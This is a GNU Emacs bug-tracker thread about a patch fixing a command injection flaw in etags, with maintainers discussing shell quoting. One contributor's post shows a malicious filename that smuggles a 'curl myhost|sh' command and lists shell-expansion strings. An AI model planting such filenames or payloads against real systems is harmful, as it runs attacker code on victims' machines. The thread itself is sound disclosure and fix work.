> Subject: [PATCH] Fix etags local command injection vulnerability
> 
> * lib-src/etags.c:
> 
> (escape_shell_arg_string): New function.

Thanks, installed with some minor changes.

bug#59817: [PATCH] Fix etags local command injection vulnerability

[Andreas Schwab]

There is a shell_quote funtion in gnulib.

-- 
Andreas Schwab, SUSE Labs, schwab@suse.de
GPG Key fingerprint = 0196 BAD8 1CE9 1970 F4BE  1748 E4D4 88E3 0EEA B9D7
"And now for something completely different."

bug#59817: [PATCH] Fix etags local command injection vulnerability

[Eli Zaretskii]

> From: Andreas Schwab <schwab@suse.de>
> Cc: Eli Zaretskii <eliz@gnu.org>,  Stefan Kangas <stefankangas@gmail.com>,
>   59817@debbugs.gnu.org
> Date: Tue, 06 Dec 2022 14:05:16 +0100
> 
> There is a shell_quote funtion in gnulib.

I know.  But we don't import that module, AFAICT.

bug#59817: [PATCH] Fix etags local command injection vulnerability

[lux]

[-- Attachment #1: Type: text/plain, Size: 1036 bytes --]

> Please understand: etags is a stable program.  I'm not interested in
> changes that modify its design or implementation in such drastic ways.

I understand, but not completely agree, stable != security.

Why use the system() function? This is a lazy, insecure little trick,
the exec*(such as execvp) function should be used first. We need
execute a command, but we don't need execute a shell script.

Example a case, In my team, some people like automatically pull new
code from code server, and use etags update tags, so I secretly uploaded
a new file, the file name is:

$ touch "';curl myhost|sh #'a.z"

when he automatically update the tags, I hacking his computer.

So, I have two suggestions:

1. don't use system(), unless know what are doing.

2. escape all dangerous characters, just escaping quotes is not
enough, the following characters can perform additional actions:

"$(ls)"
"`ls`"
"${SHELL}"
"$SHELL"

I'm writing a new patch to escape dangerous characters, and test.

Thanks.

[-- Attachment #2: Type: text/html, Size: 1110 bytes --]